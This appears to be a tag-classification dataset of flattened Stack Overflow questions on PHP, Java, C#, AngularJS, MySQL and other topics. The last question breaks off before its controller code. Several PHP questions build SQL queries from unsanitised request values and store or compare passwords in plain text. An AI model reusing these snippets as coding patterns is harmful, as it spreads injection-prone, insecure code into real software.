why doesn t tryparse accept an object   i am curious about why the .net tryparse methods (e.g. int32.tryparse  datetime.tryparse) do not accept an object and instead accept a string for the first argument containing the number to be parsed. if i m using tryparse  i m keeping in mind that the method may fail and i m using it for convenience. i would be fine with tryparse silently failing on the object and populating my result with 0 and returning false.,.net
updating single item in a basket with multiple items using php and my sql  i am making a shopping basket for my website and i am stuck on updating the quantities  i have a database conected and the basket is being generated from a basket table  i have a loop which displays the products in a users basket and produces a  form for each product that is generating a textbox where a user can enter the quanitity and then click submit. i have a seperate file called updatebasket which excutes an update statement using the gameid in the whereclause. i am having trouble sending the gameid for each product over to the updatebasket file when the update button is clicked. here is my code below.    <strong>this is the cart.php file</strong>   <pre><code>cart.php &lt; php require  dbconnect.php ; session_start(); $memberid = $_session[ id ];   $query =  select rectable.gameid  rectable.gameimg  rectable.gameprice  rectable.gamename from rectable  basket where rectable.gameid = basket.gameid and basket.id =   .$memberid.   ;  $results = $connect-&gt;query($query); $numrow = $results-&gt;num_rows;  $count = 0; while ($count &lt; $numrow) { $row = $results -&gt; fetch_assoc(); extract($row); echo &lt;div&gt; ; echo &lt;div class= recommended_games &gt; ;     echo  &lt;img src= images/ .$gameimg.   /&gt; ; echo  &lt;/div&gt; ;   echo  &lt;div class= price_tag &gt; ;     echo  &lt;div class= price_tag &gt;£ .$gameprice.  &lt;/div&gt; ; echo &lt;/div&gt; ;  echo  &lt;div id= update_form &gt;&lt;form action= updatebasket.php  method= post  name= updateform &gt; ; echo   &lt;input type= text  value= 1  name= quantity  id= quantity  /&gt; ; echo  &lt;input type= text  value=  .$gameid.   name=  .$gameid.   id= gameid  /&gt; ; echo     &lt;input type= submit  value= update  /&gt; ; echo  &lt;/form&gt; ; echo  &lt;/div&gt; ;                                              echo &lt;img class= box1  src= images/grey-banners.png  /&gt; ; echo &lt;/div&gt; ; $count = $count + 1;         }          &gt; </code></pre>   <strong>this is the updatebasket.php file</strong>   <pre><code>updatebasket.php &lt; php session_start(); require  dbconnect.php ;  $memberid = $_session[ id ];   $quantity = $_post[ quantity ]; $gameid = $_post[ gameid ];  $query =  update basket set quantity =   .$quantity.   where gameid =   .$gameid.   and id =   .$memberid.    ; header( location: cart.php )  &gt; </code></pre>,php
reverse array with given sentinel value  fyi: i am new to programming.    i have an <code>arraysize</code> of <code>10</code> and the sentinel value is <code>0</code>.    my original array is <code>[1 2 3]</code> ( user input)  but my reverse is <code>[0 0 0 0 0 0 0 3 2 1]</code>.    i need help to make my reverse array <code>[3 2 1</code>].    here is my code:   <pre><code>    int temp;     for (int i = 0; i &lt; arraysize/2; i++)      {               temp = array[arraysize-1-i];      array[arraysize - i - 1] = array[i];      array[i] = temp;     }      cout &lt;&lt;  the reverse array:  ;     for (int i = 0; i &lt; arraysize; i++)      cout &lt;&lt; array[i]&lt;&lt;    ;     cout &lt;&lt; endl; </code></pre>,c++
access image from photolibrary using uiimagepicker without user interaction   hi is it possible to access an image from the photolibrary without the user interaction,iphone
is server.transfer invisible to google   i want to make some changes to my web site that requires some url rewriting to keep my old urls. i can t use proper url rewriting because i have very limited control from my hosting provider.    as i m using asp.net and all of my pages have the .aspx extension  one idea i had is to put something in the global.asax under the application_beginrequest event. this could check if the url of the page requested is one of the old ones and use server.transfer to open the correct page.    my question is  would this transfer this invisible to google  i don t want my ranking within google to be affected.,asp.net
php login form issue with coding <blockquote>    notice: undefined index: myusername in c:\xampp\htdocs\login_in2.php on line 14   wrong username or password  </blockquote>  <pre><code>&lt; php  $host= localhost ; // host name  $username= root ; // mysql username  $password=  ; // mysql password  $db_name= test ; // database name  $tbl_name= members ; // table name   // connect to server and select databse. mysql_connect( $host    $username    $password )or die( cannot connect );  mysql_select_db( $db_name )or die( cannot select db );  // username and password sent from form  $myusername=$_post[ myusername ];  $mypassword=$_post[ mypassword ];   // to protect mysql injection (more detail about mysql injection) $myusername = stripslashes($myusername); $mypassword = stripslashes($mypassword); $myusername = mysql_real_escape_string($myusername); $mypassword = mysql_real_escape_string($mypassword); $sql= select * from $tbl_name where username= $myusername  and password= $mypassword  ; $result=mysql_query($sql);  // mysql_num_row is counting table row $count=mysql_num_rows($result);  // if result matched $myusername and $mypassword  table row must be 1 row if($count==1){  // register $myusername  $mypassword and redirect to file  login_success.php   header( location:login_success.php ); } else { echo  wrong username or password ; }  &gt; </code></pre>,php
how to tell if a string is in a different language. (not ascii)  i am using jsoup to grab some information from a different site. the information is in a different language  but uses arabic characters such as <strong>کور</strong>. and i m not 100% sure but i think that those are not ascii characters. how can i tell if that string is not ascii (if i m correct that it is not) and then grab that string.     <strong>edit:</strong>  after using the guava library and the piece of code  i get the following output.   <blockquote>     home    new 215         add words         statistics         about us         feedback        اردلی        انرکه        خونه        سرای        سرپناه        کور        ګمرک  </blockquote>   the problem is that although the non ascii strings are being printed such as <strong> کور </strong> but the ascii strings such as <strong>  feedback </strong> are being printed.    here is the code that i m using.    <pre><code>import java.io.ioexception; import java.io.printstream; import java.io.unsupportedencodingexception;  import org.jsoup.jsoup; import org.jsoup.nodes.document; import org.jsoup.nodes.element; import org.jsoup.select.elements;  import com.google.common.base.charmatcher;  public class grablinks {  public static void main(string[] args) {      document doc;     printstream out = null;     try {         out = new printstream(system.out  true   utf-8 );     } catch (unsupportedencodingexception e1) {         // todo auto-generated catch block         e1.printstacktrace();     }      try {         // need http protocol         doc = jsoup.connect( http://thepashto.com/word.php pashto=&amp;english=house ).get();          // get page title         string title = doc.title();         //system.out.println( title :   + title);          // get all links         elements links = doc.select( a[href] );         for (element link : links) {              // get the value from href attribute             //system.out.println( \nlink :   + link.attr( href ));             //system.out.println( text :   + link.text());              if (!charmatcher.ascii.matchesallof(link.text())) {                  out.println(link.text());             }         }      } catch (ioexception e) { e.printstacktrace(); }  } } </code></pre>,java
how to set control focus in a ascx user control    how to set control focus on asp.net user control (ascx file),asp.net
insert code makes no insert php  i have a poke-like application and it doesn t seem to be inserting into the table  pokes .     despite my code looking and seeming fine  it doesnt seem to be showing any sign  any ideas    <pre><code>if (@$_post[ poke ]) {   $check_if_poked = mysql_query( select * from pokes where user_to= $username  and user_from= $added_by  ); $num_poke_found = mysql_num_rows($check_if_poked); if ($num_poke_found == 1) {  echo  come on! give the guy a chance! ;   }  else  if ($username == $cookie) {  echo  you cannot jab yourself. ;  }  else   { $poke_user = mysql_query( insert into pokes values (     $cookie    $username ) ) or trigger_error(mysql_error());  echo  $username has been jabbed. ;   } </code></pre>   },php
php create and save a txt file to root directory  i am trying to create and save a file to the root directory of my site but i don t know where its creating to file as i cannot see any...i need to file to be overwritten everytime if possible too    here is the code:   <pre><code>$content =  some text here ; $fp = fopen( mytext.txt   wb ); fwrite($fp $content); fclose($fp); </code></pre>   how can i set it to save on the root,php
compile time safety of derived classes virtual functions   i have this code  the question is below the code:   <pre><code>public class mainprogram {     public static void main()     {         list&lt;animal&gt; animals = new list&lt;animal&gt;();         animals.add(new dog());         animals.add(new poodle());         animals.add(new poodle());         animals.add(new beagle());         animals.add(new cat());          bark[] justthebarks = dog.getbarklist(animals);         foreach (bark b in justthebarks)         {             console.writeline(b.tostring());         }     } }  abstract class animal {     public abstract noise getnoise(); }  class dog : animal {     public override noise getnoise()      {         return new bark( bark );     }      public static bark[] getbarklist(list&lt;animal&gt; list)     {         return list             .oftype&lt;dog&gt;()             .select(r =&gt; r.getnoise())             .cast&lt;bark&gt;()             .toarray();     } }  class beagle : dog {     public override noise getnoise()     {         return new woof( woof   7);     } }  class poodle : dog {     public override noise getnoise()     {         return new purr();     } }  class cat : animal {     public override noise getnoise()     {         throw new notimplementedexception();     } }  class noise { }  class bark : noise {     protected string text;     public bark(string text)     {         this.text = text;     }      public override string tostring()     {         return $ {text} ;     } }   class woof : bark {     protected int pitch;      public woof(string text  int pitch) : base(text)     {         this.pitch = pitch;     }     public override string tostring()     {         return $ {text}-&gt;{pitch} ;     } }  class purr : noise { } </code></pre>   }    in plain text  animals and noises  each animal returns its own type of noise  the noises correspond to the animal class  although sometimes an animal might return different noises based on some variable (but for a dog only some form of bark).    this code crashes of course. the poodle returns a purr()  and it  should  return something of type bark.  i have the abstract function getnoise() which just returns a noise. what i want/need is to write    <pre><code>class dog {     public override bark getnoise(); } </code></pre>   but this is not allowed  the return type must be the same. i don t want to write a second layer of getbark() functions in every dog class  etc.    what i want is to re-write this such that there is no casting  and everything that is derived from dog is forced to return a bark in its getnoise() function such that i can safely write:   <pre><code>bark b = dog.getnoise(); </code></pre>,c#
how does settimeout(console.log.bind(console   something )) work   after reading <a href= https://stackoverflow.com/questions/34762774/how-to-hide-source-of-log-messages-in-console >how to hide source of log messages in console </a>   i m confused about how this command works.     i try to not use settimeout to wrap it  but the console log always show the source of log messages. even i try to see the stack trace  it just shows nothing like the second line: <a href= https://i.stack.imgur.com/vbypj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vbypj.png  alt= enter image description here ></a>    what does the <code>settimeout(console.log.bind(console   something ))</code> do  and it seems cannnot remove settimeout      is there any other way to do the same thing,javascript
using templated  super   related question: <a href= https://stackoverflow.com/questions/180601/using-super-in-c >using  super  in c++</a>    i examined the source code for <a href= http://opensteer.sourceforge.net/  rel= nofollow noreferrer >opensteer</a> and found the following code for defining properties of vehicles. the requirement is super have too be inherited from an interface class abstractvehicle.   <pre><code>template &lt;class super&gt; class steerlibrarymixin : public super { ... }  template &lt;class super&gt; class annotationmixin: public super { ... }  template &lt;class super&gt; class localspacemixin: public super { ... } </code></pre>   with these i could define a simplevehicle with all properties:   <pre><code>// simplevehicle_1 adds concrete localspace methods to abstractvehicle typedef localspacemixin&lt;abstractvehicle&gt; simplevehicle_1;   // simplevehicle_2 adds concrete annotation methods to simplevehicle_1 typedef annotationmixin&lt;simplevehicle_1&gt; simplevehicle_2;   // simplevehicle_3 adds concrete steering methods to simplevehicle_2 typedef steerlibrarymixin&lt;simplevehicle_2&gt; simplevehicle_3;   // simplevehicle adds concrete vehicle methods to simplevehicle_3 class simplevehicle : public simplevehicle_3 { ... } </code></pre>   or just with one of the properties:   <pre><code>class simplevehicle : public localspacemixin&lt;abstractvehicle&gt; { ... } </code></pre>   this was pretty smart  here i could choose what properties my vehicles should have but when i tried to compile it it didn t work!    compiler errors:    <pre><code>steerlibrary.hpp||in member function <code>vec2d steerlibrary&lt;super&gt;::steerforwander(float) :| steerlibrary.hpp|41|error: there are no arguments to</code>getmaxspeed  that depend on a template parameter  so a declaration of <code>getmaxspeed  must be available| steerlibrary.hpp|41|error: (if you use</code>-fpermissive   g++ will accept your code  but allowing the use of an undeclared name is deprecated)| steerlibrary.hpp|42|error: there are no arguments to <code>getvel  that depend on a template parameter  so a declaration of</code>getvel  must be available|</pre></code>    here i m trying to access my abstractvehicle member function  getmaxspeed  and  getvel . with  -fpermissive  it compiles and work but it issues a warning for every member function and with good reason - one could pretty easily inherit from a non abstractvehicle with none of these functions!    now for my question: is this a better way to handle this  i tried with the typedef method like the link above but it didn t work at all.,c++
programmatically disable window.location.reload   is there a way to override default behavior of window.location.reload - making it a no-op  for debugging purposes,javascript
is it possible to load controller.js on every request in angularjs to load updated controller  we have an application in <strong>angularjs</strong> and <strong>html</strong>. <code>pages.index.html</code> is the main page which load all controllers and directives.is there any way to load <code>controller.js</code> on demand when i call its corresponding view instead of loading whole application.,angularjs
how to open and read resource forks in obj-c  i have an old (os9) file containing a resource fork with  code  resources and i would like to read that from obj-c. i use something like:   <pre><code>nsfilehandle *codefile=[nsfilehandle filehandleforreadingatpath:mypath]; </code></pre>   but see only the data fork! is there any simple solution for that     i also tried to separate the resource fork with    <pre><code> cpmac -r myfile newfile   </code></pre>   but get only the old file back,objective-c
php notice - undefined offset 1  i m still pretty new with php. i saw other posts about this notice  but none seemed to speak to my situation. i am attempting to list the titles (h2 element) from another page. while i have succeeded in that endeavor (the titles are listing)  i am also getting the following notice:     notice: undefined offset: 1 in /users/jessenichols/sites/hcs/news.php on line 26    <pre><code>&lt; php         function gettitle($url){             $str = file_get_contents($url);             if(strlen($str)&gt;0){                 preg_match( /\&lt;h2\&gt;(.*)\&lt;\/h2\&gt;/  $str $title);                 return $title[1];             }         }         if ($handle = opendir( news )) {             while (false !== ($entry = readdir($handle))) {                 if ($entry !=  .  &amp;&amp; $entry !=  .. ) {                     echo  &lt;p class= article_selector &gt; .gettitle( news/ . $entry ). &lt;/p&gt; ;                 }             }             closedir($handle);         }      &gt; </code></pre>,php
angularjs - pause binding of input field while focused  i have a data object that looks like this:   <pre><code>$scope.data = { value1:  anyvalue   value2:  anyvalue }; </code></pre>   this data object will be updated via polling every second.     in the view i m showing the data in input fields like:   <pre><code>&lt;input type= number  ng-model= data.value1 /&gt; &lt;input type= number  ng-model= data.value2 /&gt; </code></pre>   the user should be able to focus one of the input fields and enter a value. now this is not possible  because every change that is made in the field will be overwritten  when the data object gets updated.    i don t want to pause the whole polling process  because the other input field should still show its updated value.    what is the best way to pause only the binding of the focused input field  while it is focused,angularjs
getting data as chunks from database to save memory  my problem is related to jdbc queries where the number of records in the table is huge. the end goal is getting the data from db in a streamed fashion where by you get the data chunk by chunk.    this is possible by creating multiple sql statements by key words such as limit   offset. but in this case there will be multiple db calls which will cost more time. is there a way where by you do not load an entire result set into memory &amp; can get data in chunks without having additional db calls     thanks,java
clicking button automatically using htmlagilitypack  i want to click a button on a web page automatically. i am using <code>htmlagilitypack</code>. i can take the button s xpath. but i could not fire the click event of the button. how can i do this  please help.,.net
is it possible to query a report header and footer in mysql as in the attached image  i have to create driver reports in mysql and was wondering if it is possible to a create query that has headers and footers for each driver. notice the footer is just a sum of the records above it but still has a label such as  completed:     <a href= https://i.stack.imgur.com/febnk.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/febnk.jpg  alt= report with header and footer for each driver ></a>,mysql
distrbute ios apps without appstore   here is my problem - there is hotel that has no connection to internet. it houses around 500-1000 during high season. i have local network that users can access  and where they can download my motel app for reservations / tours etc...    since i don t have access to app store  i can t really put app there. my best guess would be enterprise program  so i can upload app on my local server  where every user can download it.    but is this even legal  since from all posts on so  it seems apple intended something like this to be used only for testing  not actual deployment. can i have some serious problems if i choose to distribute this way,ios
how to fix a string input that give the wrong output   i have compiled and ran the code. it works but it s not giving me the  correct output.    i should get when the user types kelly  it should say  names accepted . however  it says   names not accepted. can somebody help me    <pre><code>package compare;  import java.util.scanner;  public class democompare{      public static void main(string[] args) {          system.out.println( try a match! );         korean();     }      public static void korean()     {         string [] names1 = { kelly };         @suppresswarnings( resource )             scanner sc = new scanner(system.in);         system.out.println( input your answer: );         string  ans1 = sc.nextline();         if(ans1 == names1[0])         {             system.out.println( names accepted! );         }          else if(ans1 != names1[0]){             system.out.println( names not accepted! );          }     } } </code></pre>,java
counting count(*) results in mysql  i need to count the number of records returned from a mysql query.    <pre><code>select      count(sa.facility_hmis) as deployed from     facility_service_area sa group by sa.facility_hmis  </code></pre>   this will give me lets say 6 rows as the result  but i need it to give me a single row with just the number counted rows i.e 6,mysql
how to make something move continuosly in a html5 canvas  so i m trying to make a pacman game and i can t get the ghosts to move continuously; i have already created a function for ghost movement but it only works with event listeners. here it is:   <pre><code>function ghosttorightred() {     if (ghostx3 &lt; 20) {         ghostx3 += ghostspeed     } else {         context.clearrect(ghostx3 - 20  ghosty3 - 30  50  63)         ghostx3 -= ghostspeed //-= because of the direction         drawghostred()     } </code></pre>,javascript
why is this program not polymorphic   in the follwoing program i am trying to overload a method by passing paramaters  but the out put for both methods is the same      <pre><code> public class a      {      int a = 11;     int b = 20;     static int c = 0;          public void a1(){              c = a+b;          }          public void a1(int a int b){              c = this.a+this.b;          }          public static void main(string[] args){              a a = new a();             a.a1();// this should give 31             system.out.print(c);             a.a1(3 46);// this should give 49             system.out.print(c);         }  } </code></pre>   output : the output for both is 31.    even though i am trying to overload   the out put for both is same.,java
rails3-jquery-autocomplete passing parameter to scope query  i m struggling to find an answer to a problem i have with the rails3-jquery-autocomplete gem.    i have 2 models. environment &amp; property.    <pre><code>class environment &lt; activerecord::base   has_many :properties   name: string  envfile: string  class property &lt; activerecord::base   scope :with_environment_id  where(:environment_id =&gt; 14)     belongs_to :environment   name: string  value: string  environment_id: integer </code></pre>   i have a view which displays all the properties belonging to a particular environment and in that view the following code which auto searches based on the property name      <pre><code>&lt;%= form_tag( tbd )%&gt;   &lt;%= autocomplete_field_tag :property_name      autocomplete_property_name_properties_path&gt; </code></pre>   the properties controller    <pre><code>class propertiescontroller &lt; applicationcontroller   autocomplete :property  :name  :scopes =&gt; [:with_environment_id] </code></pre>   and routes.rb has   <pre><code>  get :autocomplete_property_name  :on =&gt; :collection </code></pre>   the autocomplete works fine but it returns returns all records in properties table. where i would like only the properties belonging to the environment displayed in the view.    as you can see i ve defined a scope in the property model in which i ve hardcoded a valid environment_id to make this work as i would want it.    so my question is how do i pass the environment_id from the view/controller back into the scope     perhaps i m tackling this from the wrong angle.    apologies if it s a dumb question but it has stumped me all day.,ruby-on-rails
weird cell size shift in css nav bar  here s the situation.  i have written a css vertical navigation bar and the size of cells shrink once the enclosed links have been visted!  please help!  here s my code:   <pre><code>&lt;style type= text/css &gt;    a.vertical:link   { display:block;    font-size:14px;    padding: 1px 1px;  text-decoration:none;    color:#151b54;    background:#ffffff;    font-weight:bold;    width:200px;   }    a.vertical:active   {    font-size:14px;    padding: 1px 1px;  text-decoration:none;    color:#151b54;    background:#ffffff;    font-weight:bold;    width:200px;   }    a.vertical:visited    {    font-size:14px;    padding: 1px 1px;  text-decoration:none;    color:#f778a1;    background:#ffffff;    font-weight:bold;    width:200px;   }    a.vertical:hover   {    font-size:14px;    padding: 1px 1px;  text-decoration:none;    color:#ffffff;    background:#151b54;    font-weight:bold;    width:200px;   }    .verticalborder   {    background:#ffffff;   padding: 1px 1px;   border-style:solid;    border-color:#ffffff;    border-width:5px;    width:200px;   }       &lt;/style&gt;  &lt;div class= verticalborder  align= left &gt;   &lt;a href= http://www.stpaulncanton.org/latchkey/latchkeynew.html     class= vertical &gt;after school child care&lt;/a&gt;&lt;br/&gt;   </code></pre>,css
css float:left issues  i am having a weird issue with css that will has to be simple to fix  but i m still learning css so i need some help.  as you can see from the link  the float div on the left <code>area_left</code> affects the div on the right <code>blog_area_right</code>.    <a href= http://www.brockpatterson.com/secret.php  rel= nofollow >http://www.brockpatterson.com/secret.php</a>    thanks in advance  drummer392,css
should class s properties be unchangeable from everywhere for it to be immutable in c#   consider this class:   <pre><code>public class point {     private int x { get; private set; }     private int y { get; private set; }      public point(int x  int y)     {         this.x = x;         this.y = y;     }      public void changepoint(int x  int y)     {         this.x = x;         this.y = y;     } } </code></pre>   is this class considered immutable  in other words  for a class to be immutable  should its properties be unchangeable from everywhere or only from outside the class     thanks.,c#
move the cursor c  the same code  but it gives me results different between the ways run the program. who can explain to me.   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt;  int main() {     printf( \x1b[%d;%dh   11  11);     printf( hello world );     getch();     return 0; } </code></pre>   result    <img src= https://i.stack.imgur.com/tj3jj.png  alt= enter image description here >,c
example on building a struct goes to crash  i m learning structs in c and  based on my tutorial  i created this sample code:   <pre><code>#include &lt;stdio.h&gt; main() {   //creating a struct   struct automobile {          char make[150];          char model[200];          int cylinders;          float horsepower;          };   struct automobile m_auto;  //istantiate m_auto as automobile struct    //taking details as input   printf( car make:  );   scanf( %s   m_auto.make);   printf( model:  );   scanf( %s   m_auto.model);   printf( no. of cylinders:  );   scanf( %i   m_auto.cylinders);   printf( hp:  );   scanf( %f   m_auto.horsepower);   printf( --------------------------------\n );   printf( you just entered:\n );   printf( make: %s   model: %s   cylinders: %i   horsepower: %2f \n   \                  m_auto.make  m_auto.model  m_auto.cylinders  m_auto.horsepower); } </code></pre>   i compile and everything goes ok but as soon as i run the app and input the number of cylinders the app crashes. i m using bloodshed dev c++ to run  don t know if it s something wrong in my code or a compiler issue. what s wrong,c
how to set text to both anchor and small tags using jquery   hi i am trying to set the text to both anchor and small in the following snippet   <pre><code> &lt;li id= taba  class= done &gt;&lt;a href= #abc &gt;step 1&lt;br /&gt;&lt;small&gt;step&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; </code></pre>   and jquery code    <pre><code> var tabtoggle = $( #taba ).clone(); tabtoggle.find( small ).text( first ); tabtoggle.find( a ).text( first ) tabtoggle.find( a ).attr( href    #first  ); </code></pre>   the problem is it is not able to set  the text to small tag.it is replacing all contents inside  anchor.thanks in advance.,jquery
how to stop a $digest loop apparently caused by a filter  consider the following plunker:    <a href= http://plnkr.co/edit/10rs92crulf9vti3bav6  rel= nofollow >http://plnkr.co/edit/10rs92crulf9vti3bav6</a>    it appears to work correctly  but if you look at the console  you can see that something is wrong.  with just that little table  angular has already hit the digest loop limit of 10!    it isn t a problem in a small dataset like this one  but the actual production page has 10 different filters and can span 30+ days.  as the data grows  the $digest looping is getting way  way out of hand.    what can i do to stop it   i have been pouring over the source code trying to figure out why the table keeps getting digested over and over and over again  even though the data isn t changing at all.  am i missing something,angularjs
php static override variable in class  static variable in php class are override see the below example.   <pre><code>class a {    public static $v1;     public function __construct($v)    {       self::$v1 = $v;    } }  $ob1 = new a(1); $ob2 = new a(2); echo $ob1::$v1 .  -  . $ob2::$v1; output: 2-2 </code></pre>   why this will not print 1-2 how can we achive this output(1-2) without using none static variable.,php
extract part of char array as char*  from this:    <code> 16;foo;interesting-text </code>    which is a <code>char[]</code> i want to extract few parts. i ve already managed how to extract <code>16</code> as int  <code>foo</code> as <code>string</code>  but i have problem with extracting <code>interesting-text</code> as pointer to <code>char*</code>.    this is how its done right now:   <pre><code> 16;foo;bar;interesting-text  //datalen contains 16 //foundsecondcomma is index of second semicolon occurence  char* messagedata = new char[datalen+1]; memcpy(messagedata  buffer+foundsecondcomma+1  datalen); //messagedata contains  interesting-text  and few unnecessary characters  string extracteddata(messagedata  datalen);  //do stuff with messagedata  delete messagedata; </code></pre>   after that <code>messagedata</code> contains <code>interesting-text</code> and some unnecesasry characters. i can convert this to string (<code>extracteddata</code>)  but i really need <code>char *</code>. how can i do that properly,c++
sonarj like tool for .net  i m looking for a tool like <a href= http://www.hello2morrow.com/products/sonarj  rel= nofollow noreferrer  title= sonarj >sonarj</a> but for .net instead of java.   <blockquote>    sonarj helps you to find deviations   between he architecture and the code   within minutes. it can be integrated   into your ide to help you avoid the   introduction of new architetural   violations to your code base. you can   also use it to maintain metric based   software quality rules which will keep   complexity under control.  </blockquote>   i googled and searched so without satisfying results.,.net
directive template does not show in view  i try to make my first directive and i use this page to get started: <a href= https://docs.angularjs.org/guide/directive  rel= nofollow >https://docs.angularjs.org/guide/directive</a>    the directive seems to be loaded but the element it should create in my view does not show.     my app.module.js   <pre><code>// script.js  // create the module and name it mainapp     // also include ngroute for all our routing needs var mainapp = angular.module( mainapp   [ ngroute    chart.js ]);  // configure our routes mainapp.config(function($routeprovider) {     $routeprovider          // route for the home page         .when( /first   {             templateurl :  views/firstview.html               controller  :  firstcontroller          })          // route for the home page         .when( /second   {             templateurl :  views/secondview.html               controller  :  secondcontroller          })          // route for the about page         .when( /third   {             templateurl :  views/thirdview.html               controller  :  thirdcontroller          })          // route for the contact page         .when( /fourth   {             templateurl :  views/fourthview.html               controller  :  fourthcontroller          })          .otherwise({             redirectto:  /first          }); }); </code></pre>   the secondcontroller   <pre><code>mainapp.controller( secondcontroller   function ($scope) {     // create a message to display in our view     $scope.bericht =  2-everyone come and see how good i look! ; }) .directive( testdirective   [    function(){     // runs during compile     return {         // name:             // priority: 1          // terminal: true          // scope: {}  // {} = isolate  true = child  false/undefined = no change         // controller: function($scope  $element  $attrs  $transclude) {}          // require:  ngmodel   // array = multiple requires    = optional  ^ = check parent elements         //restrict:  e   // e = element  a = attribute  c = class  m = comment         template:  tralalala      }; }]); </code></pre>   the secondview   <pre><code>&lt;h1&gt;{{ bericht }}&lt;/h1&gt; &lt;hr&gt; &lt;div ng-controller= secondcontroller &gt;     &lt;div testdirective&gt;&lt;/div&gt;  &lt;/div&gt; </code></pre>   i expect the <code>&lt;div testdirective&gt;&lt;/div&gt;</code> to show up as <code>tralalala</code> but it does not show at all  also no error in console.,angularjs
php simple equation  what s wrong with this  it s not working out   <pre><code>// define $prv=0;  if(isset($_get[ prv ])) { $prv = intval($_get[ prv ]); }  // security if($prv != 0 or $prv != 2)  { die( &lt;p&gt;error&lt;/p&gt; ); } </code></pre>   this always goes through the <code>die()</code> part  even when <code>prv</code> is undefined or is defined as <code>2</code> in the url (<code>and is 2</code>)    and this does works:   <pre><code>// security if($prv == 0 or $prv == 2)  { } else { die( &lt;p&gt;error&lt;/p&gt; ); } </code></pre>,php
is the any way to use numbers on list to perform operations   for a newcomer to python from c++ in python for example  is there a way to get this to substitute in the element in list position f[n-1]  perform mathematical operations  and add it to the next element on the list    <pre><code>f = [1  1-x] for n in range (1 5):     f[n+1] = simplify((x*f[n-1])/n)     print(f[n]) </code></pre>,python
stored procedure is so slowly when using count distinct  when i run the stored procedure for the first time  it is so slow and the process lasts for 1 minute  and then i run it again and it lasts 10 seconds.    following is my main sql statement  please help me to check out   thank you very much！    example 1   <pre><code>select sql_no_cache view_address.is_facility count(distinct  view_address.provider_id)as totalcount from pv_mview_provider_address view_address where view_address.network_group_id=5047 and view_address.carrier_group_id=93 group by view_address.is_facility; </code></pre>   explain:    example 2：   <pre><code>select sql_no_cache is_facility count(distinct provider_id) from (select  view_address.provider_id view_address.is_facility from pv_mview_provider_address view_address where view_address.network_group_id=5047 and view_address.carrier_group_id=93 ) as p group by is_facility </code></pre>   explain:    this sql will spend 10 s to load the data. the table stores 4000 0000 rows. thank you very much！,mysql
why can a url(http://) without commenting can compile without error   i found i added some url in source code but forgot to comment it  but still can compile  and i test it individually:   <pre><code>int main(){     http://localhost     return 0; }  gcc hello.c -o hello.exe </code></pre>   which can still compile without errors  and i check c keywords   http  seems not a keyword  what is the reason,c
how to write the soap request   iam developing one application.in that i use the web services.in that first i find the current location and based on that location i want to find out the number of theaters.so for this how to write the soap request.please tell me how to write that one.and give me some links for learning about these concepts for web services.,iphone
duplicate entry: com/google/android/gms/auth/api/signin/internal/zzf.class  cannot build apk  error:execution failed for task <code> :app:transformclasseswithjarmergingfordebug </code>.   <blockquote>    com.android.build.api.transform.transformexception: java.util.zip.zipexception: duplicate entry: com/google/android/gms/auth/api/signin/internal/zzf.class  </blockquote>,android
why can t i open xls file in browser using transmitfile   i open <code>.xls/.doc/.pdf</code> files with <code>response.transmitfile()</code>. the <code>pdf</code>  get opened  but the <code>xls</code>-and the <code>doc</code> files not open.   <pre><code>string path = @ d:\\files\\  + request.querystring.get( psfname );  int startindex = request.querystring.get( psfname ).indexof( . ); string type = request.querystring.get( psfname ).substring(startindex + 1);  if (type ==  doc  || type ==  docx ) {     response.contenttype =  application/ms-word ; } else if (type ==  xls  || type ==  xlsx ) {     response.contenttype =  application/x-msexcel ;     response.appendheader( content-disposition    attachment; filename=  + request.querystring.get( psfname ));  } else if (type ==  pdf  || type ==  pdf ) {     response.contenttype =  application/pdf ; } response.transmitfile(path); </code></pre>,c#
does an enum in mysql need to be not null   lets say i have this:   <pre><code>alter table asdf add field enum( y    n ) default  n ; </code></pre>   is putting a not null on the end necessary as it can only be y and n     edt: based on comments  if i know the software always sets it to  n  or  y  and is hardcoded in then is it ok to leave it off or could it still potentially become null some how.,mysql
apple ios app icon title: maximum length   i was just wondering if there s a limit (in characters) for the ios apple app icon title. i want to avoid those ugly dots in the middle (ex. long..pple name ).,ios
jquery: check if div is empty and then add css if true  this may be quite a simple one.     i have a div with the class <code>.banner-images</code> which usually contains <code>img</code>s. what i would like to do is change the height of its parent div  <code>#banner-wrapper</code> if the <code>.banner-images</code> is empty.    this is what i have so far:   <pre><code>if ( .banner-image:empty ) {     $( #banner-wrapper ).css({ height  :  210px }); }; </code></pre>,jquery
order final result by column in subquery  i have a query which queries based on the result of a subquery. i want to order by a column in the subquery  but from what i can understand from looking around at similar questions you really shouldn t user order by in a subquery (which makes this query incorrect).    is there any way i can do that using aliasing or something along those lines     in the subquery table there is a column called  lastupdated  that i want to order the results from the main query table by.    please see my attempted query below:   <pre><code>select * from trackedentityinstance  where localid in     (select distinct localtrackedentityinstanceid from enrollment     where program is  sslpom0r1u7  and orgunit is  ggl6wgm3qzs       order by lastupdated asc);` </code></pre>,mysql
$interval making $http call  which promise is returned for chaining   i have an angular service and a controller interacting.  the service usings the $interval to poll the server.  i know this returns a promise  however it uses $http to make an call to the server  which also returns a promise and the chaining of the promises is not happening the way i would expect.    <strong>service</strong>   <pre><code>(function () {      use strict ;      var serviceid =  notificationservice ;      angular.module( app ).factory(serviceid  [ helpersservice    $interval    $http   function (helpersservice  $interval  $http) {         var defaultoptions = {             url: undefined              interval: 1000         };          var myintervalpromise = undefined;         var displayednotifications = [];          function onnotificationsuccess(response) {             //alert( in success );             displayednotifications.push(response.data);             return response.data;         }          function onnotificationfailed(response) {             alert( in failure );             throw response.data ||  an error occurred while attempting to process request ;         }           function initializenotificationservice(configoptions) {              var passedoptions = $.extend({}  defaultoptions  configoptions);              if (passedoptions.url) {                  myintervalpromise = $interval(                     function() {                         //console.log(passedoptions.url);                          //return helpersservice.getajaxpromise(passedoptions);                         //promise.then(onnotificationsuccess  onnotificationfailed);                          $http({                             method:  post                               url: passedoptions.url                         }).then(onnotificationsuccess  onnotificationfailed);                      }  passedoptions.interval);                  //alert( in initializenotificationservice );                 return myintervalpromise;             }             //return myintervalpromise;         }          //$scope.$on( $destroy   function() {         //    if (angular.isdefined(myintervalpromise)) {         //        $interval.cancel(myintervalpromise);         //        myintervalpromise = undefined;         //    }         //});          return {             // methods             initializenotificationservice: initializenotificationservice              //properties             displayednotifications : displayednotifications         };     }]);  })(); </code></pre>   <strong>controller</strong>   